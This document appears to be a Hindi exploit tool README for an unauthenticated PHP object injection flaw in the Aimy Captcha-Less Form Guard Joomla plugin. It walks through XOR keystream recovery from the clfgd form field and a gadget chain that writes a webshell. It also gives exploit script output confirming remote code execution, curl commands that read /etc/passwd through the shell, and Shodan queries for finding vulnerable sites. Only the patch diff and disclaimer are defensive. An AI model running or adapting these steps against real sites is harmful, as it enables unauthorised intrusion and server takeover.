
Aimy Captcha-Less Form Guard जूमला घटक PHP ऑब्जेक्ट इंजेक्शन RCE। clfgd XOR कीस्ट्रीम रिकवरी + unserialize()। CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Joomla के लिए Aimy Captcha-Less Form Guard में बिना प्रमाणीकरण के PHP Object Injection। onCheckAnswer() विधि हमलावर-नियंत्रित clfgd POST फ़ील्ड को base64-डिकोड करती है, इसे रिपीटिंग-की XOR से गुज़ारती है, और परिणाम को सीधे unserialize() को दे देती है — ।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2026-65883 |
| उत्पाद | Aimy Captcha-Less Form Guard (Joomla प्लगइन) |
| CVSS 4.0 | 10.0 (गंभीर) |
| प्रकार | CWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभावित | 18.0 — 20.0 |
| पैच किया गया | 20.1 (29 जुलाई 2026) |
| खोजा गया | Valentin Lobstein (Chocapikk) / VulnCheck — 26 जुलाई 2026 |
| स्थिति | संस्करण |
|---|---|
| असुरक्षित | 18.0 — 20.0 |
| पैच किया गया | 20.1 (29 जुलाई 2026) |
plg_captcha_aimycaptchalessformguard में onCheckAnswer() विधि हमलावर-नियंत्रित इनपुट को सीधे unserialize() को भेजती है:
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
XOR "एन्क्रिप्शन" एक Vigenère सिफर है जिसमें प्रति-सेशन कुंजी होती है — कोई प्रमाणीकरण नहीं, केवल ऑब्फस्केशन।
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
प्लगइन समान HTML प्रतिक्रिया में सिफरटेक्स्ट और प्लेनटेक्स्ट दोनों प्रस्तुत करता है:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
चूँकि trap_ids (जिसे <span id="..._mark"> और हनीपॉट इनपुट से निकाला जा सकता है) और सिफरटेक्स्ट दोनों HTML में होते हैं, उन्हें XOR करने पर 231-बाइट कीस्ट्रीम के ~94 बाइट पुनर्प्राप्त हो जाते हैं।
clfgd सिफरटेक्स्ट + trap_ids + टाइमिंग → कीस्ट्रीम के 94 बाइट पुनर्प्राप्त करेंFormattedtextLogger सीरियलाइज़्ड ऑब्जेक्ट ताकि संरचनात्मक बाइट ज्ञात कीस्ट्रीम स्थितियों पर पड़ेंclfgd → unserialize() → __destruct() → formatLine() → PHP वेबशेल लिखता है/random.php?c=id → www-data के रूप में RCE$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode() PHP ऑब्जेक्ट इंस्टैंशिएट नहीं कर सकता — POP गैजेट चेन टूट जाती है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग केवल उन सिस्टमों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
| संसाधन | लिंक |
|---|---|
| VulnCheck Blog | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| IONIX Threat Center | ionix.io/threat-center/cve-2026-65883 |
| CVE रिकॉर्ड | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |
Aimy Extensions या VulnCheck से संबद्ध नहीं।